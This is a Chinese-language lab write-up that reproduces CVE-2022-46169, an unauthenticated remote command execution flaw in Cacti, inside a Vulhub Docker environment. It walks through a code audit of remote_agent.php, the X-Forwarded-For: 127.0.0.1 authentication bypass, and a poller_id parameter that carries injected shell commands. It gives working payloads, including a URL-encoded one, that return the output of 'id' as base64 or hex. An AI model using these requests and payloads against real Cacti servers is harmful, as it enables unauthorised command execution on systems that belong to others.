复现cacti的RCE

发布于:2025-07-30 ⋅ 阅读:(17) ⋅ 点赞:(0)

一.准备工作

1.安装doker
curl -fsSL https://get.docker.com | sh

 并验证docker是否正确安装和检验docker compose是否可用

docker version
docker compose version
2.克隆仓库
git clone https://github.com/vulhub/vulhub.git

注:若不能拉取仓库,使用proxychains

proxychains git clone https://github.com/vulhub/vulhub.git
3.选择要使用的漏洞环境
cd vulhub/cacti/CVE-2022-46169
4.启动漏洞环境

5.通过浏览器访问漏洞应用程序

6.在docker容器中安装xdebug并启用扩展
pecl install xdebug-3.1.6
docker-php-ext-enable xdebug
7.随后重启容器并更改配置文件
docker restart <your-container> 
vim /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini

添加如下内容

zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
 8.使用vscode连接容器并安装xdebug插件

二.代码审计

 通过官方文档给出的信息来看,漏洞文件来自remote_agent.php

当远程客户端未授权时将会显示你没有权限并退出程序,那么就需要通过get传参请求进行绕过此if鉴权函数

 if (!remote_client_authorized()) {
     print 'FATAL: You are not authorized to use this service';
     exit;
 }

而因为get传参用户是可控的,通过观察以下代码可以猜出大概率是在 poll_for_data 函数中触发

switch (get_request_var('action')) {
	case 'polldata':
		// Only let realtime polling run for a short time
		ini_set('max_execution_time', read_config_option('script_timeout'));

		debug('Start: Poling Data for Realtime');
		poll_for_data();
		debug('End: Poling Data for Realtime');

		break;
	case 'runquery':
		debug('Start: Running Data Query');
		run_remote_data_query();
		debug('End: Running Data Query');

		break;
	case 'ping':
		debug('Start: Pinging Device');
		ping_device();
		debug('End: Pinging Device');

		break;
	case 'snmpget':
		debug('Start: Performing SNMP Get Request');
		get_snmp_data();
		debug('End: Performing SNMP Get Request');

		break;
	case 'snmpwalk':
		debug('Start: Performing SNMP Walk Request');
		get_snmp_data_walk();
		debug('End: Performing SNMP Walk Request');

		break;
	case 'graph_json':
		debug('Start: Performing Graph Request');
		get_graph_data();
		debug('End: Performing Graph Request');

		break;
	case 'discover':
		debug('Start:Performing Network Discovery Request');
		run_remote_discovery();
		debug('End:Performing Network Discovery Request');

		break;
	default:
		if (!api_plugin_hook_function('remote_agent', get_request_var('action'))) {
			debug('WARNING: Unknown Agent Request');
			print 'Unknown Agent Request';
		}
}
function get_request_var($name, $default = '') {
     global $_CACTI_REQUEST;
     $log_validation = read_config_option('log_validation');
     if (isset($_CACTI_REQUEST[$name])) {
         return $_CACTI_REQUEST[$name];
     } elseif (isset_request_var($name)) {
         if ($log_validation == 'on') {
             html_log_input_error($name);
         }
         set_request_var($name, $_REQUEST[$name]);
         return $_REQUEST[$name]; // 这种接法使用 GET POST COOKIE都行
     } else {
         return $default;
     }
 }

而在 poll_for_data();函数中,有三个请求

所以需要使用get传递三个参数

action=polldata&local_ids[0]=6&host_id=1&poller_id='touch+/tmp/success'

因为发送没有回显,所以我需要使用创建文件的命令'touch+/tmp/success',查看文件是否创建成功

通过抓包我们可以获取该网站的流量,并添加X-Forwarded-For:127.0.0.1获取get_client_addr();客户端

随后我们在remote_client_authorized()函数中插入print_r($client_addr);获取client_addr的值是否为127.0.0.1和print_r($client_name);打印出client_name值是否为hostname并用exit;中断程序

发送后可以看到值完全符合

而在functions.php文件中有关于 get_client_addr函数

function get_client_addr($client_addr = false) {
	$http_addr_headers = array(
		'X-Forwarded-For',
		'X-Client-IP',
		'X-Real-IP',
		'X-ProxyUser-Ip',
		'CF-Connecting-IP',
		'True-Client-IP',
		'HTTP_X_FORWARDED',
		'HTTP_X_FORWARDED_FOR',
		'HTTP_X_CLUSTER_CLIENT_IP',
		'HTTP_FORWARDED_FOR',
		'HTTP_FORWARDED',
		'HTTP_CLIENT_IP',
		'REMOTE_ADDR',
	);

	$client_addr = false;
	foreach ($http_addr_headers as $header) {
		if (!empty($_SERVER[$header])) {
			$header_ips = explode(',', $_SERVER[$header]);
			foreach ($header_ips as $header_ip) {
				if (!empty($header_ip)) {
					if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
						cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
					} else {
						$client_addr = $header_ip;
						cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
						break 2;
					}
				}
			}
		}
	}

	return $client_addr;
}

目前该函数中,client_addrX-Forwarded-For走到foreach函数中进行循环,header即为X-Forwarded-For所以不为空跳到下一层循环,由于127.0.0.1为合法ip所以跳入else,将其赋值给$client_addr我们可以将其打印出来,这样更清晰的显示出来

跟预期一样,由此可知hostname就是localhost

	$client_name = gethostbyaddr($client_addr);
	print_r($client_name);exit;
	if ($client_name == $client_addr) {
		cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
	} else {
		$client_name = remote_agent_strip_domain($client_name);
	}

由于$client_name不等于$client_addr也就是我们的localhost不等于127.0.0.1因此会跳入else,remote_agent_strip_domain这个过滤函数只过滤.因此localhost会正常返回,返回出来依然是localhost

	$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);

	if (cacti_sizeof($pollers)) {
		foreach($pollers as $poller) {
			if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
				return true;
			} elseif ($poller['hostname'] == $client_addr) {
				return true;
			}
		}
	}

$pollers里的hostname在数据库表中为localhost$client_name的值localhost相等因此会返回true,至此if鉴权函数已经绕过
只要有success,代码即执行成功

action由于是get传参因此用户可控,当action=polldata才能触发case 'polldata'执行poll_for_data();代码

function poll_for_data()函数中传递了三个参数:

  • 第一行代码传数组[0]=6数组只有一个元素6
  • 第二行代码传参1
  • 第三行代码传命令执行如`touch+/tmp/success`
function poll_for_data() {
	global $config;

	$local_data_ids = get_nfilter_request_var('local_data_ids');
	$host_id        = get_filter_request_var('host_id');
	$poller_id      = get_nfilter_request_var('poller_id');
	$return         = array();
	print_r($local_data_ids);
	print_r($host_id);
	print_r($poller_id);exit;

开始遍历

$items = db_fetch_assoc_prepared('SELECT *
        FROM poller_item
        WHERE host_id = ?
        AND local_data_id = ?',
        array($host_id, $local_data_id));

 通过第一个if查询到数组为

       local_data_id: 6
           poller_id: 1
             host_id: 1
              action: 2
             present: 1
        last_updated: 2025-07-25 06:10:01
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: uptime
            rrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptime
                arg2:
                arg3:

 第二次遍历

$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)
				FROM poller_item
				WHERE host_id = ?
				AND local_data_id = ?
				AND action = 2',
				array($host_id, $local_data_id));

将数组里的action取出,值为2
由于POLLER_ACTION_SCRIPT_PHP值为2,因此将会匹配到case POLLER_ACTION_SCRIPT_PHP
进入到该case中进行第一个if函数

if (function_exists('proc_open')) {
    $cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
    $output = fgets($pipes[1], 1024);
    $using_proc_function = true;
} else {
        $using_proc_function = false;
}

通过该代码的read_config_option('path_php_binary')取出php路径执行 /usr/local/bin/php -q script_server.php realtime     touch /tmp/success

现在进行回显

function is_hexadecimal($result) {
	$hexstr = str_replace(array(' ', '-'), ':', trim($result));

	$parts = explode(':', $hexstr);
	foreach($parts as $part) {
		if (strlen($part) != 2) {
			return false;
		}
		if (ctype_xdigit($part) == false) {
			return false;
		}
	}

	return true;
}

 执行以下三条命令任意一条,将其进行urlenode编码

|echo "test\r\n`id" | xxd -p -c 1|awk '{printf \"%s \", $0}'`"; 
|echo "test\r\n :`id | base64 -w0`"; 
|echo "test\r\n`id |base64 -w0|awk -v ORS=':' '{print $0}'`"; 

%7Cecho%20%22test%5Cr%5Cn%20%3A%60id%20%7C%20base64%20-w0%60%22%3B

最后可以得到回显

dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK

 最后进行base64解码

得到结果:

uid=33(www-data) gid=33(www-data) groups=33(www-data)


网站公告

今日签到

点亮在社区的每一天
去签到